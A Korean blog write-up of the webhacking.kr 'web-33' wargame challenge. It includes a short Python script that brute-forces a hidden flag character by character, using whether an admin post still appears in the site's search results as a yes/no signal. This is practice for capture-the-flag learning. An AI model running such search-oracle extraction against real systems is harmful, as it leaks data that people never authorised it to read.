반응형
문제
검색창에 내용의 문자를 검색하면 문자가 포함된 글의 목록을 보여준다.
flag{ 를 검색하면 admin 목록이 뜬다.
flag{로 시작하는 문자열을 검색하며 플래그 값을 찾으면 문제가 해결될 것 같다.
문제풀이
search 검색창 최대길이는 50이므로 50 길이만큼 문자를 검색했다.
import requests
cookie={'PHPSESSID':''}
url="https://webhacking.kr/challenge/web-33/"
# flag
flag="flag{"
data={'search':""}
for i in range(50):
for j in range(48,128):
data['search']=flag+chr(j)
res=requests.post(url, data=data)
if (res.text.find("<td>admin</td>")!=-1):
flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-59 (0) | 2023.01.14 |
---|---|
[Webhacking.kr] old-57 (0) | 2023.01.11 |
[Webhacking.kr] old-55 (0) | 2023.01.10 |
[Webhacking.kr] old-54 (0) | 2023.01.09 |
[Webhacking.kr] old-53 (0) | 2023.01.09 |